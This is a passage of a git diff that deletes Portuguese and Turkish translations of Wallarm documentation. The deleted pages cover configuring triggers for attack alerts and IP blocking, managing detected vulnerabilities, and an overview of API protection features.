úteis maliciosas ou endereços aos quais os hits são enviados (para que os hits não sejam [agrupados](../../about-wallarm/protecting-against-attacks.md#attack) em um ataque pelo método básico) -* Os tipos de ataque são diferentes de Força Bruta, Navegação Forçada, Excedendo o limite do recurso, Bomba de Dados e Patch Virtual - -Exemplo: - -* 10 hits para `example.com` -* 20 hits para `test.com` -* 40 hits para `example-domain.com` - -Os primeiros 50 acertos aparecerão na lista de eventos como acertos individuais. Todos os acertos seguintes serão agrupados em um ataque, por exemplo: - -![Acertos agrupados por IP em um ataque](../../images/user-guides/events/attack-from-grouped-hits.png) - -O botão [**Marcar como falso positivo**](../events/false-attack.md#mark-an-attack-as-a-false-positive) e a opção de [verificação ativa](../../about-wallarm/detecting-vulnerabilities.md#active-threat-verification) não estarão disponíveis para o ataque. - -## Novos pontos de extremidade no seu inventário da API - -As mudanças podem ocorrer na sua API. Elas serão descobertas pelo módulo [**API Discovery**](../../api-discovery/overview.md). Possíveis [mudanças](../../api-discovery/exploring.md#tracking-changes-in-api) são: - -* Um novo ponto de extremidade é descoberto -* Um ponto de extremidade tem mudanças (novos parâmetros ou parâmetros excluídos) -* Um ponto de extremidade é marcado como não usado - -Para receber notificações sobre algumas ou todas essas mudanças no seu e-mail ou mensageiro, o gatilho com a condição **Mudanças na API** deve ser configurado. - -Neste exemplo, se novos pontos de extremidade para o host da API `example.com` forem descobertos pelo módulo API Discovery, a notificação sobre isso será enviada para o seu canal Slack configurado. - -![Gatilho de mudanças na API](../../images/user-guides/triggers/trigger-example-changes-in-api.png) - -**Para testar o gatilho:** - -1. Em **Integrações**, configure a [integração com o Slack](../../user-guides/settings/integrations/slack.md). -1. Em **Gatilhos**, crie um gatilho como mostrado acima. -1. Envie várias solicitações para o ponto de extremidade `example.com/users` para obter a resposta `200` (`OK`). -1. Na seção **API Discovery**, verifique se o seu ponto de extremidade foi adicionado com a marca **Novo**. -1. Verifique as mensagens no seu canal Slack, como: - ``` - [wallarm] Um novo ponto de extremidade foi descoberto na sua API - - Tipo de notificação: mudança_de_estrutura_da_API - - O novo endpoint GET example.com/users foi descoberto na sua API. - - Cliente: Cliente 001 - Nuvem: US - - Detalhes: - - application: Application 1802 - domain: example.com - endpoint_path: /users - http_method: GET - change_type: added - link: https://my.wallarm.com/api-discovery?instance=1802&method=GET&q=example.com%2Fusers - ``` diff --git a/docs/latest-pt-BR/user-guides/triggers/triggers.md b/docs/latest-pt-BR/user-guides/triggers/triggers.md deleted file mode 100644 index 3173329714..0000000000 --- a/docs/latest-pt-BR/user-guides/triggers/triggers.md +++ /dev/null @@ -1,140 +0,0 @@ -# Trabalhando com gatilhos - -Gatilhos são ferramentas usadas para configurar notificações personalizadas e reações a eventos. Usando gatilhos, você pode: - -* Receber alertas sobre eventos importantes por meio das ferramentas que você usa para o seu fluxo de trabalho diário, por exemplo, via mensageiros corporativos ou sistemas de gerenciamento de incidentes. -* Bloquear endereços IP dos quais foram enviados um determinado número de solicitações ou vetores de ataque. -* Identificar [ataques comportamentais](../../about-wallarm/protecting-against-attacks.md#behavioral-attacks) pelo número de solicitações enviadas a determinados pontos finais da API. -* Otimizar a lista de eventos [agrupando](../../about-wallarm/protecting-against-attacks.md#attack) hits originários do mesmo endereço IP em um só ataque. -* Monitorar o aumento de solicitações maliciosas detectadas pelos nós da Wallarm que podem indicar um ataque em andamento e tomar medidas oportunas, como bloquear manualmente os endereços IP dos atacantes, para mitigar a ameaça. - -Você pode configurar todos os componentes do gatilho: - -* **Condição**: evento do sistema para o qual você deseja ser notificado. Por exemplo: recebendo uma certa quantidade de ataques, endereço IP na lista negra e novo usuário adicionado à conta. -* **Filtros**: detalhes da condição. Por exemplo: tipos de ataque. -* **Reação**: ação que deve ser realizada se a condição e filtros especificados forem atendidos. Por exemplo: enviar a notificação para o Slack ou outro sistema configurado como a [integração](../settings/integrations/integrations-intro.md), bloquear endereço IP ou marcar solicitações como ataque de força bruta. - -Os gatilhos são configurados na seção **Gatilhos** do Console Wallarm. A seção está disponível apenas para usuários com a função de **Administrador** [papel](../settings/users.md). - -![Seção para configurar gatilhos](../../images/user-guides/triggers/triggers-section.png) - -## Criando gatilhos - -1. Clique no botão **Criar gatilho**. -2. [Escolha](#step-1-choosing-a-condition) condições. -3. [Adicione](#step-2-adding-filters) filtros. -4. [Adicione](#step-3-adding-reactions) reações. -5. [Salve](#step-4-saving-the-trigger) o gatilho. - -### Etapa 1: Escolhendo uma condição - -Uma condição é um evento de sistema para o qual deve ser notificado. As seguintes condições estão disponíveis para notificação: - -* [Força bruta](../../admin-en/configuration-guides/protecting-against-bruteforce.md) -* [Navegação forçada](../../admin-en/configuration-guides/protecting-against-bruteforce.md) -* [BOLA](../../admin-en/configuration-guides/protecting-against-bola.md) -* [JWT fraco](trigger-examples.md#detect-weak-jwts) -* Número de [vetores de ataque (cargas maliciosas)](../../glossary-en.md#malicious-payload) (cargas experimentais baseadas em [expressões regulares personalizadas](../rules/regex-rule.md) não são contadas) -* Número de [ataques](../../glossary-en.md#attack) (ataques experimentais baseados em [expressões regulares personalizadas](../rules/regex-rule.md) não são contados) -* Número de [hits](../../glossary-en.md#hit) exceto por: - - * Hits experimentais detectados com base na [expressão regular personalizada](../rules/regex-rule.md). Hits não experimentais são contabilizados. - * Hits não salvos na [amostra](../events/analyze-attack.md#sampling-of-hits). -* Número de incidentes -* IP na lista negra -* [Mudanças no estoque da API](../../api-discovery/overview.md#tracking-changes-in-api) -* Hits do mesmo IP, exceto aqueles de força bruta, navegação forçada, BOLA (IDOR), limite de recursos, bomba de dados e tipos de ataque de patch virtual -* Usuário adicionado - -![Condições disponíveis](../../images/user-guides/triggers/trigger-conditions.png) - -Escolha uma condição na interface do Console Wallarm e defina o limite inferior para a reação, se a configuração estiver disponível. - -### Etapa 2: Adicionando filtros - -Os filtros são usados para detalhar condições. Por exemplo, você pode configurar reações a ataques de certos tipos, como ataques de força bruta, injeções SQL e outros. - -Os seguintes filtros estão disponíveis: - -* **URI** (apenas para as condições **Força Bruta**, **Navegação Forçada** e **BOLA**): URI completa para a qual a solicitação foi enviada. URI pode ser configurado via [construtor de URL](../../user-guides/rules/rules.md#uri-constructor) ou [formulário de edição avançado](../../user-guides/rules/rules.md#advanced-edit-form). -* **Tipo** é um [tipo](../../attacks-vulns-list.md) de ataque detectado na solicitação ou uma tipo de vulnerabilidade para a qual a solicitação está direcionada. -* **Aplicativo** é o [aplicativo](../settings/applications.md) que recebe a solicitação ou no qual um incidente é detectado. -* **IP** é um endereço IP do qual a solicitação é enviada. - - O filtro espera apenas IPs únicos, não permitindo sub-redes, localizações e tipos de origem. -* **Domínio** é o domínio que recebe a solicitação ou no qual um incidente é detectado. -* **Status de resposta** é o código de resposta retornado à solicitação. -* **Alvo** é uma parte da arquitetura da aplicação que o ataque é direcionado ou na qual o incidente é detectado. Pode assumir os seguintes valores: `Servidor`, `Cliente`, `Banco de dados`. -* **Papel do usuário** é o papel do usuário adicionado. Pode assumir os seguintes valores: `Deploy`, `Analista`, `Admin`. - -Escolha um ou mais filtros na interface do Console Wallarm e defina valores para eles. - -![Filtros disponíveis](../../images/user-guides/triggers/trigger-filters.png) - -### Etapa 3: Adicionando reações - -Uma reação é uma ação que deve ser realizada se a condição especificada e os filtros forem atendidos. O conjunto de reações disponíveis depende da condição selecionada. As reações podem ser dos seguintes tipos: - -* [Marcar as solicitações como ataque de força bruta ou navegação forçada](../../admin-en/configuration-guides/protecting-against-bruteforce.md). As solicitações serão marcadas como ataques na lista de eventos, mas não serão bloqueadas. Para bloquear solicitações, você pode adicionar uma reação adicional: coloque o endereço IP na [lista negra](../ip-lists/denylist.md). -* [Marcar os pedidos como ataque BOLA](../../admin-en/configuration-guides/protecting-against-bola.md). As solicitações serão marcadas como ataques na lista de eventos, mas não serão bloqueadas. Para bloquear solicitações, você pode adicionar uma reação adicional: coloque o endereço IP na [lista negra](../ip-lists/denylist.md). -* [Registrar a vulnerabilidade JWT](trigger-examples.md#detect-weak-jwts). -* Adicionar IP à [lista negra](../ip-lists/denylist.md). -* Adicionar IP à [lista cinza](../ip-lists/graylist.md). -* Enviar uma notificação para o sistema SIEM ou URL Webhook configurado nas [integrações](../settings/integrations/integrations-intro.md). -* Enviar uma notificação para o mensageiro configurado nas [integrações](../settings/integrations/integrations-intro.md). - - !!! Aviso "Notificar sobre IPs da lista negra via messengers" - Os gatilhos permitem o envio de notificações sobre os IPs da lista negra apenas para os sistemas SIEM ou URL de Webhook. Os mensageiros não estão disponíveis para a condição de gatilho **IP na lista negra**. -* [Agrupe os próximos hits em um único ataque](trigger-examples.md#group-hits-originating-from-the-same-ip-into-one-attack) se a condição do gatilho for **Hits do mesmo IP**. - - O botão [**Marcar como positivo falso**](../events/false-attack.md#mark-an-attack-as-a-false-positive) e a opção de [verificação ativa](../../about-wallarm/detecting-vulnerabilities.md#active-threat-verification) não estarão disponíveis para esses ataques. - -Escolha uma ou mais reações na interface do Console Wallarm. As reações disponíveis para a condição estão localizadas em **Número de ataques**: - -![Escolhendo uma integração](../../images/user-guides/triggers/select-integration.png) - -### Etapa 4: Salvando o gatilho - -1. Clique no botão **Criar** no diálogo modal de criação de gatilho. -2. Especifique o nome e a descrição do gatilho (se necessário) e clique no botão **Concluído**. - -Se o nome do gatilho e a descrição não forem especificados, então o gatilho é criado com o nome `Novo gatilho por , ` e uma descrição vazia. - -## Gatilhos pré-configurados (gatilhos padrão) - -As novas contas da empresa possuem os seguintes gatilhos pré-configurados (gatilhos padrão): - -* Agrupar hits originados do mesmo IP em um único ataque - - O gatilho agrupa todos os [hits](../../glossary-en.md#hit) enviados do mesmo endereço IP em um único ataque na lista de eventos. Isso otimiza a lista de eventos e permite uma análise mais rápida dos ataques. - - Este gatilho é liberado quando um único endereço IP origina mais de 50 hits em 15 minutos. Apenas os hits enviados após exceder o limite são agrupados no ataque. - - Os hits podem ter diferentes tipos de ataque, cargas maliciosas e URLs. Esses parâmetros de ataque serão marcados com a tag `[múltiplo]` na lista de eventos. - - Devido aos diferentes valores dos parâmetros dos hits agrupados, o botão [Marcar como falso positivo](../events/false-attack.md#mark-an-attack-as-a-false-positive) estará indisponível para todo o ataque, mas você ainda poderá marcar certos hits como falsos positivos. [Verificação ativa do ataque](../../about-wallarm/detecting-vulnerabilities.md#active-threat-verification) também estará indisponível. - - Os hits com os tipos de ataque Força Bruta, Navegação Forçada, Limite de Recursos, Bomba de Dados ou Patch Virtual não são considerados neste gatilho. -* Colocar o IP na lista cinza por 1 hora quando ele origina mais de 3 [cargas maliciosas](../../glossary-en.md#malicious-payload) diferentes em 1 hora. - - A [lista cinza](../ip-lists/graylist.md) é uma lista de endereços IP suspeitos processados pelo nó da seguinte maneira: se a lista cinza de IPs originar solicitações maliciosas, o nó os bloqueará, mas permitirá solicitações legítimas. Em contraste com a lista cinza, a [lista negra](../ip-lists/denylist.md) se refere a endereços IP que não têm permissão para acessar seus aplicativos - o nó bloqueia até o tráfego legítimo produzido por fontes na lista negra. A lista cinza de IP é uma das opções destinadas à redução de [falsos positivos](../../about-wallarm/protecting-against-attacks.md#false-positives). - - O gatilho é liberado em qualquer modo de filtragem de nó, para que ele adicione IPs à lista cinza independentemente do modo do nó. - - No entanto, o nó analisa a lista cinza apenas no modo de **bloqueio seguro**. Para bloquear solicitações maliciosas originadas por IPs na lista cinza, mude o [modo](../../admin-en/configure-wallarm-mode.md#available-filtration-modes) do nó para bloqueio seguro, aprendendo suas características primeiro. - - Os hits com os tipos de ataque Força Bruta, Navegação Forçada, Limite de Recursos, Bomba de Dados ou Patch Virtual não são considerados neste gatilho. -* Detecte JWTs fracos - - [JSON Web Token (JWT)](https://jwt.io/) é um padrão de autenticação popular usado para trocar dados entre recursos como APIs de forma segura. A comprometimento da JWT é um objetivo comum de atacantes, pois quebrar mecanismos de autenticação oferece a eles acesso total a aplicativos da web e APIs. Quanto mais fracos os JWTs, maior a chance de eles serem comprometidos. - - Este gatilho permite que a Wallarm detecte automaticamente JWTs fracos nas solicitações que chegam e registre as [vulnerabilidades](../vulnerabilities.md) correspondentes. - -Os gatilhos funcionam em todo o tráfego dentro de uma conta da empresa por padrão, mas você pode alterar qualquer configuração de gatilho. - -## Desabilitando e excluindo gatilhos - -* Para parar temporariamente de enviar notificações e reações aos eventos, você pode desabilitar o gatilho. Um gatilho desativado será exibido nas listas com gatilhos **Todos** e **Desativados**. Para reativar o envio de notificações e reações a eventos, a opção **Ativar** é usada. -* Para parar permanentemente de enviar notificações e reações aos eventos, você pode excluir o gatilho. A exclusão de um gatilho não pode ser desfeita. O gatilho será removido permanentemente da lista de gatilhos. - -Para desativar ou excluir o gatilho, selecione uma opção apropriada no menu do gatilho e confirme a ação, se necessário. \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/user-intro.md b/docs/latest-pt-BR/user-guides/user-intro.md deleted file mode 100644 index cdafe22e1a..0000000000 --- a/docs/latest-pt-BR/user-guides/user-intro.md +++ /dev/null @@ -1,52 +0,0 @@ -[img-wallarm-portal-overview]: ../images/user-guides/dashboard/dashboard.png - -[link-wallarm-console]: https://my.wallarm.com/settings/users - -[doc-use-search]: search-and-filters/use-search.md -[doc-subscriptions]: ../about-wallarm/subscription-plans.md - -# Introdução ao Guia do Usuário - -Este guia fornece informações sobre as opções de operação do Wallarm. Todas essas operações são realizadas usando o portal Wallarm. - -!!! Info "Direitos de Acesso Necessários" - - Você deve ter acesso de analista para executar a maioria das operações descritas neste guia. Você pode definir o acesso do analista na aba *Configurações* → *Usuários* no portal Wallarm na [Nuvem US](https://us1.my.wallarm.com/settings/users) ou [Nuvem EU](https://my.wallarm.com/settings/users). - -## Visão Geral do Portal Wallarm - -![Visão geral do portal][img-wallarm-portal-overview] - -Após fazer login no portal Wallarm, você se deparará com o seguinte: -* Uma barra lateral com abas no lado esquerdo do portal. - - Use essas abas para navegar de um componente da solução Wallarm para outro. - - Algumas páginas de componentes contêm suas próprias abas, alinhadas horizontalmente. - - O botão *Ajuda & Documentos* está localizado na parte inferior da barra lateral. Ao clicar neste botão, a barra lateral de *Ajuda Rápida* será aberta no lado direito do portal, permitindo que você explore várias informações do produto e envie uma mensagem para a equipe de suporte. - - !!! Info "Nota sobre a Disponibilidade do Componente" - O seu portal Wallarm pode parecer diferente das capturas de tela demonstradas neste Guia do Usuário. - - A disponibilidade de alguns componentes e elementos da UI depende das assinaturas em uso. - - Veja o documento [“Assinaturas”][doc-subscriptions] para mais detalhes. - -* Uma caixa de pesquisa na parte superior do portal. - - Esta caixa de pesquisa está disponível em todos os lugares no portal, exceto na aba *Eventos*. Digite uma consulta de pesquisa e você será redirecionado para os resultados da pesquisa na aba *Eventos*. - - O documento [“Usando a Pesquisa”][doc-use-search] introduz você à sintaxe de consulta de pesquisa e explica como usar a pesquisa. - -* Um botão *Configurações* no canto superior direito do portal perto da caixa de pesquisa. Este botão parece uma pequena engrenagem. - - Use este botão para abrir a página de configurações do Wallarm. - -* Dependendo das ações que você realiza, algumas barras laterais adicionais podem ser exibidas à sua direita no portal. - - \ No newline at end of file diff --git a/docs/latest-pt-BR/user-guides/vulnerabilities.md b/docs/latest-pt-BR/user-guides/vulnerabilities.md deleted file mode 100644 index 820f2535bb..0000000000 --- a/docs/latest-pt-BR/user-guides/vulnerabilities.md +++ /dev/null @@ -1,98 +0,0 @@ -# Gerenciando Vulnerabilidades - -Vulnerabilidades são falhas de segurança em uma infraestrutura que podem ser exploradas por invasores para realizar ações maliciosas não autorizadas em seu sistema. A seção **Vulnerabilidades** do Console Wallarm permite que você analise e gerencie falhas de segurança que foram detectadas pelo Wallarm em seu sistema. - -A Wallarm emprega várias técnicas para [descobrir](../about-wallarm/detecting-vulnerabilities.md) fraquezas de segurança, que incluem: - -* **Detecção passiva**: a vulnerabilidade foi encontrada devido ao incidente de segurança que ocorreu -* **Verificação ativa de ameaças**: a vulnerabilidade foi encontrada durante o processo de verificação de ataque -* **Scanner de Vulnerabilidade**: a vulnerabilidade foi encontrada durante o processo de varredura de [recursos expostos](scanner.md) - -A Wallarm armazena o histórico de todas as vulnerabilidades detectadas na seção **Vulnerabilidades**: - -![Aba de Vulnerabilidades](../images/user-guides/vulnerabilities/check-vuln.png) - -## Ciclo de vida da vulnerabilidade - -O ciclo de vida de uma vulnerabilidade envolve as etapas de avaliação, remediação e verificação. Em cada estágio, o Wallarm fornece os dados necessários para abordar completamente a questão e fortalecer seu sistema. Além disso, o Console Wallarm fornece a capacidade de monitorar e gerenciar o status da vulnerabilidade com facilidade, utilizando os status **Ativo** e **Fechado**. - -* O status **Ativo** indica que a vulnerabilidade existe na infraestrutura. -* O status **Fechado** é usado quando a vulnerabilidade foi resolvida do lado do aplicativo ou determinada como um falso positivo. - - Um [falso positivo](../about-wallarm/detecting-vulnerabilities.md#false-positives) ocorre quando uma entidade legítima é erroneamente identificada como uma vulnerabilidade. Se você encontrar uma vulnerabilidade que acredita ser um falso positivo, você pode reportá-la utilizando a opção apropriada no menu de vulnerabilidade. Isso ajudará a melhorar a precisão da detecção de vulnerabilidades da Wallarm. O Wallarm reclassifica a vulnerabilidade como um falso positivo, muda seu status para **Fechado** e não a submete a mais [reverificações](#verifying-vulnerabilities). - -Ao gerenciar vulnerabilidades, você pode alternar manualmente os status de vulnerabilidade. Além disso, a Wallarm regularmente [reverifica](#verifying-vulnerabilities) as vulnerabilidades e muda o status das vulnerabilidades automaticamente de acordo com os resultados. - -![Ciclo de vida da vulnerabilidade](../images/user-guides/vulnerabilities/vulnerability-lifecycle.png) - -As mudanças no ciclo de vida da vulnerabilidade são refletidas no histórico de mudanças da vulnerabilidade. - -## Avaliando e remediando vulnerabilidades - -A Wallarm fornece a cada vulnerabilidade os detalhes que ajudam a avaliar o nível de risco e a tomar medidas para resolver problemas de segurança: - -* O identificador único da vulnerabilidade no sistema Wallarm -* Nível de risco indicando o perigo das consequências da exploração da vulnerabilidade - - A Wallarm indica automaticamente o risco da vulnerabilidade usando a estrutura Common Vulnerability Scoring System (CVSS), a probabilidade de uma vulnerabilidade ser explorada, seu impacto potencial no sistema, etc. Você pode alterar o nível de risco para seu próprio valor com base em seus requisitos únicos de sistema e prioridades de segurança. -* [Tipo de vulnerabilidade](../attacks-vulns-list.md) que também corresponde ao tipo de ataques que exploram a vulnerabilidade -* Domínio e caminho nos quais a vulnerabilidade existe -* Parâmetro que pode ser usado para passar uma carga útil maliciosa explorando a vulnerabilidade -* Método pelo qual a vulnerabilidade foi [detectada](../about-wallarm/detecting-vulnerabilities.md#vulnerability-detection-methods) -* O componente alvo que pode ser impactado se uma vulnerabilidade for explorada, pode ser **Servidor**, **Cliente**, **Banco de dados** -* Data e hora em que a vulnerabilidade foi detectada -* Última [data de verificação](#verifying-vulnerabilities) da vulnerabilidade -* Descrição detalhada da vulnerabilidade, exemplo de exploração e etapas de remediação recomendadas -* Incidentes relacionados -* Histórico de mudanças de status da vulnerabilidade - -Você pode filtrar vulnerabilidades usando a [linha de pesquisa](search-and-filters/use-search.md) e filtros predefinidos. - -![Informações detalhadas da vulnerabilidade](../images/user-guides/vulnerabilities/vuln-info.png) - -Todas as vulnerabilidades devem ser corrigidas no lado do aplicativo porque tornam seu sistema mais vulnerável a ações maliciosas. Se uma vulnerabilidade não puder ser corrigida, o uso da regra de [pacth virtual](rules/vpatch-rule.md) pode ajudar a bloquear ataques relacionados e eliminar o risco de um incidente. - -## Verificando vulnerabilidades - -A Wallarm regularmente reverifica as vulnerabilidades ativas e fechadas. Isso envolve repetir o teste de uma infraestrutura para um problema de segurança que foi descoberto anteriormente. Se o resultado da rechecagem indicar que a vulnerabilidade não existe mais, a Wallarm muda seu status para **Fechado**. Isso também pode acontecer se o servidor estiver temporariamente indisponível. Por outro lado, se a rechecagem de uma vulnerabilidade fechada indicar que ela ainda existe no aplicativo, a Wallarm muda seu status de volta para **Ativo**. - -As vulnerabilidades ativas e as vulnerabilidades corrigidas há menos de um mês são reverificadas uma vez por dia. As vulnerabilidades que foram corrigidas há mais de um mês são reverificadas uma vez por semana. - -Dependendo do método inicial de detecção de vulnerabilidade, o teste é realizado pelo **Scanner de Vulnerabilidade** ou pelo módulo **Verificação de Ameaça Ativa**. As configurações para o processo de reverificação automatizada podem ser controladas através do botão [**Configurar**](#configuring-vulnerability-detection). - -Não é possível reverificar vulnerabilidades que foram detectadas passivamente. - -Se você precisar reverificar uma vulnerabilidade manualmente, pode acionar o processo de reverificação usando a opção apropriada no menu de vulnerabilidade: - -![Uma vulnerabilidade que pode ser reverificada](../images/user-guides/vulnerabilities/recheck-vuln.png) - -## Configurando a detecção de vulnerabilidades - -A configuração de detecção de vulnerabilidade pode ser ajustada usando o botão **Configurar**, com as seguintes opções: - -* Você pode escolher os tipos específicos de vulnerabilidades que deseja detectar usando o Scanner de Vulnerabilidade. Por padrão, o Scanner está configurado para atingir todos os tipos de vulnerabilidade disponíveis. -* Ativar/Desativar **Funcionalidade básica do Scanner** que inclui os processos de descoberta de vulnerabilidade e [recurso exposto](scanner.md). Por padrão, esta funcionalidade está ativada. - - Você também pode encontrar o mesmo interruptor de alternância na seção **Scanner**. Alterar o interruptor em uma seção atualizará automaticamente a configuração na outra seção também. -* Ativar / desativar a reverificação de vulnerabilidades com o Scanner usando a opção **Reverificar vulnerabilidades**. -* Ativar / desativar o módulo **Verificação de ameaça ativa** para detecção e reverificação de vulnerabilidades. Observe que essa opção controla o módulo em si, não apenas o processo de reverificação. - - Por padrão, este módulo está desativado, aprenda suas melhores práticas de configuração [melhores práticas](../vulnerability-detection/threat-replay-testing/setup.md) antes de ativá-lo. - -![Configurações de verificação de vulnerabilidade](../images/user-guides/vulnerabilities/vuln-scan-settings.png) - -Além disso, na seção [**Scanner**](scanner.md) da interface do usuário, você pode controlar quais recursos expostos devem ser verificados pelo Scanner de Vulnerabilidade e qual RPS/RPM gerado pelo Scanner é permitido para cada recurso. - -## Baixando o relatório de vulnerabilidades - -Você pode exportar os dados de vulnerabilidade para um relatório em PDF ou CSV usando o botão correspondente na interface do usuário. O Wallarm enviará o relatório para o endereço especificado. - -O PDF é bom para apresentar relatórios visualmente ricos com resumos de vulnerabilidade e incidente, enquanto o CSV é melhor para fins técnicos, fornecendo informações detalhadas sobre cada vulnerabilidade. O CSV pode ser usado para criar painéis, produzir uma lista dos hosts/APIs mais vulneráveis e mais. - -## Chamada de API para obter vulnerabilidades - -Para obter detalhes de vulnerabilidades, você pode [chamar a API Wallarm diretamente](../api/overview.md) além de usar a interface do usuário do Console Wallarm. Abaixo está o exemplo da chamada de API correspondente. - -Para obter as primeiras 50 vulnerabilidades no status **Ativo** nas últimas 24 horas, use a seguinte solicitação substituindo `TIMESTAMP` pela data de 24 horas atrás convertida para o formato [Unix Timestamp](https://www.unixtimestamp.com/): - ---8<-- "../include-pt-BR/api-request-examples/get-vulnerabilities.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/vuln-scanning-best-practices-for-future.md b/docs/latest-pt-BR/vuln-scanning-best-practices-for-future.md deleted file mode 100644 index bf14c9c936..0000000000 --- a/docs/latest-pt-BR/vuln-scanning-best-practices-for-future.md +++ /dev/null @@ -1,15 +0,0 @@ -Práticas Recomendadas para Detecção e Mitigação de Vulnerabilidades - -## Siga as melhores práticas para verificação de ameaças ativas - -Um método que a Wallarm usa para [detectar vulnerabilidades](../about-wallarm/detecting-vulnerabilities.md) é a **Verificação de ameaças ativas**. - -A **Verificação de ameaças ativas** permite que você transforme atacantes em testadores de penetração e descubra possíveis problemas de segurança a partir de sua atividade enquanto eles avaliam seus aplicativos/APIs em busca de vulnerabilidades. Este módulo encontra possíveis vulnerabilidades avaliando os pontos finais do aplicativo usando dados reais de ataques do tráfego. Por padrão, este método está desativado. - -[Aprenda as melhores práticas para a configuração do módulo **Verificação de ameaças ativas** →](../vulnerability-detection/threat-replay-testing/setup.md) - - - -Inventário API - -Cobertura OWASP \ No newline at end of file diff --git a/docs/latest-pt-BR/vulnerability-detection/schema-based-testing/explore.md b/docs/latest-pt-BR/vulnerability-detection/schema-based-testing/explore.md deleted file mode 100644 index dde4ab75c4..0000000000 --- a/docs/latest-pt-BR/vulnerability-detection/schema-based-testing/explore.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/vulnerability-detection/schema-based-testing/explore.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/vulnerability-detection/schema-based-testing/overview.md b/docs/latest-pt-BR/vulnerability-detection/schema-based-testing/overview.md deleted file mode 100644 index a28e8470cc..0000000000 --- a/docs/latest-pt-BR/vulnerability-detection/schema-based-testing/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/vulnerability-detection/schema-based-testing/overview.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/vulnerability-detection/schema-based-testing/setup.md b/docs/latest-pt-BR/vulnerability-detection/schema-based-testing/setup.md deleted file mode 100644 index 8c301e63c2..0000000000 --- a/docs/latest-pt-BR/vulnerability-detection/schema-based-testing/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/vulnerability-detection/schema-based-testing/setup.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/vulnerability-detection/security-testing-overview.md b/docs/latest-pt-BR/vulnerability-detection/security-testing-overview.md deleted file mode 100644 index c401c68d7f..0000000000 --- a/docs/latest-pt-BR/vulnerability-detection/security-testing-overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/vulnerability-detection/security-testing-overview.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/vulnerability-detection/threat-replay-testing/exploring.md b/docs/latest-pt-BR/vulnerability-detection/threat-replay-testing/exploring.md deleted file mode 100644 index a7669b3244..0000000000 --- a/docs/latest-pt-BR/vulnerability-detection/threat-replay-testing/exploring.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/vulnerability-detection/threat-replay-testing/exploring.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/vulnerability-detection/threat-replay-testing/overview.md b/docs/latest-pt-BR/vulnerability-detection/threat-replay-testing/overview.md deleted file mode 100644 index 577494f288..0000000000 --- a/docs/latest-pt-BR/vulnerability-detection/threat-replay-testing/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/vulnerability-detection/threat-replay-testing/overview.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/vulnerability-detection/threat-replay-testing/setup.md b/docs/latest-pt-BR/vulnerability-detection/threat-replay-testing/setup.md deleted file mode 100644 index da4246847e..0000000000 --- a/docs/latest-pt-BR/vulnerability-detection/threat-replay-testing/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/vulnerability-detection/threat-replay-testing/setup.md" \ No newline at end of file diff --git a/docs/latest-tr/about-wallarm/api-protection-overview.md b/docs/latest-tr/about-wallarm/api-protection-overview.md deleted file mode 100644 index 6df9c54ca5..0000000000 --- a/docs/latest-tr/about-wallarm/api-protection-overview.md +++ /dev/null @@ -1,63 +0,0 @@ -# Wallarm API Protection - -Wallarm'ın API Protection'ı, API ve yapay zekayı korumaya yönelik gelişmiş yetenekler setidir. Temel [bulut-yerel WAAP](../about-wallarm/waap-overview.md) koruması zaten tüm API protokollerini ve bunların saldırılara karşı incelenmesini, L7 DDoS'a karşı korumayı vb. içerirken, modern API'ler otomatik tehditler, API kötüye kullanımı ve yapay zekanın suistimali gibi ek risklere maruz kalır. Advanced API Security paketi, riskleri daha kapsamlı azaltmak için gelişmiş özellikler sunar. - -API Protection şunları içerir: - -* [API Specification Enforcement](#api-specification-enforcement), yüklediğiniz spesifikasyonlara dayanarak API'lerinize güvenlik politikaları uygulamak için tasarlanmıştır. Spesifikasyonunuzdaki uç nokta tanımları ile REST API'lerinize yapılan gerçek istekler arasındaki tutarsızlıkları tespit eder ve tutarsızlık bulunduğunda önceden tanımlanmış eylemleri gerçekleştirir. -* [Automatic BOLA Protection](#automatic-bola-protection), OWASP API Top 10'da 1 numaralı tehdit olarak işaretlenen BOLA saldırılarına karşı otomatik koruma sağlar. Wallarm zafiyetli uç noktaları otomatik olarak keşfeder ve bunları numaralandırmaya karşı korur. -* [API Abuse Prevention](#api-abuse-prevention), uygulamalarınızı ve API'lerinizi farklı türdeki otomatik tehditlere karşı korur. Davranışsal analize dayanarak Wallarm, içerik kazıyıcıları, güvenlik tarayıcıları vb. gibi kötü amaçlı botları kolayca tanımlayıp engelleyebilir. -* [Credential Stuffing Detection](#credential-stuffing-detection), Hesap Ele Geçirme saldırılarına karşı bir katman daha koruma sağlar. Wallarm, düşük hızda ve düşük hacimdeki Credential Stuffing saldırılarını tespit etmek için önemli olan, ele geçirilmiş kimlik bilgilerinin tek bir kullanımını bile tanımanıza olanak tanır. -* [GraphQL API Protection](#graphql-api-protection), batching, iç içe sorgular, introspection vb. gibi protokole özgü özellikleri istismar eden uzmanlaşmış saldırılara karşı GraphQL API'lerinizi korur. Kaynak Tüketimi, Hizmetin Engellenmesi (DoS), Aşırı Bilgi Açığa Çıkması ve diğer saldırıları önleyebilir. - - - -WAAP, temel Cloud Native WAAP aboneliği kapsamında sunulurken, API Protection paketinin araçları [Advanced API Security](../about-wallarm/subscription-plans.md#core-subscription-plans) aboneliğinin bir parçasıdır. - -## API Specification Enforcement - -**API Specification Enforcement**, yüklediğiniz spesifikasyonlara dayanarak API'lerinize güvenlik politikaları uygulamak için tasarlanmıştır. Birincil işlevi, spesifikasyonunuzdaki uç nokta tanımları ile REST API'lerinize yapılan gerçek istekler arasındaki tutarsızlıkları tespit etmektir. Bu tür tutarsızlıklar belirlendiğinde, sistem bunları ele almak için önceden tanımlanmış eylemler gerçekleştirebilir. - -![Spesifikasyon - güvenlik politikalarını uygulamak için kullanım](../images/api-specification-enforcement/specification-use-for-api-policies-enforcement.png) - -[Ayrıntılı açıklama ve 